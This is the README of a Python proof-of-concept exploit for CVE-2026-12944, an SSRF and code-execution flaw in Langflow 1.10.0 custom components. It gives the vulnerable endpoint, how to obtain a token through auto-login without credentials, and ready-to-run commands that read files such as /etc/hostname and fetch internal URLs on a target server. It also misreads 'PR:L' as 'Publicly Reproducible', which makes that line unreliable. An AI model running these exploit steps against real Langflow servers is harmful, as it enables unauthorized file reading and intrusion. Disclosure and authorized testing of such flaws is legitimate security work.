
Python PoC exploiting CVE-2026-12944, an SSRF in Langflow 1.10.0 via urllib in custom components, with authenticated read and fetch capabilities.
Langflow OSS (≤ 1.10.0) — vulnerability allowing arbitrary code execution via urllib.request / socket in custom components.
The component scanner’s denylist missed these standard library modules. Fixed in 1.10.1 (IBM).
Severity: PR:L (Publicly Reproducible / Low severity)
Exploit endpoint: POST /api/v1/custom_component
Requires a session cookie or bearer token.
--test — no authentication required. Only performs a public GET /api/v1/version.--read / --fetch — first authenticate:
GET /api/v1/auto_login. If the JSON response contains access_token, send Authorization: Bearer … (no username/password needed).POST /api/v1/login using --uname / --password in application/x-www-form-urlencoded format.POST /api/v1/custom_component.--uname / --password are used only if auto-login is disabled. On a default stock installation they are ignored.
For authorized testing only. Do not use this against systems you do not own or have explicit permission to test.
Requirements: Python 3 (standard library only).
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --test
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --read /etc/hostname
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --fetch http://127.0.0.1:7860/api/v1/version
python3 cve-2026-12944-langflow-urllib-ssrf.py -u https://TARGET --read /etc/hostname --insecure
python3 cve-2026-12944-langflow-urllib-ssrf.py -u TARGET --uname langflow --password langflow --read /etc/hostname
Report & PoC: ShadowForge Cyber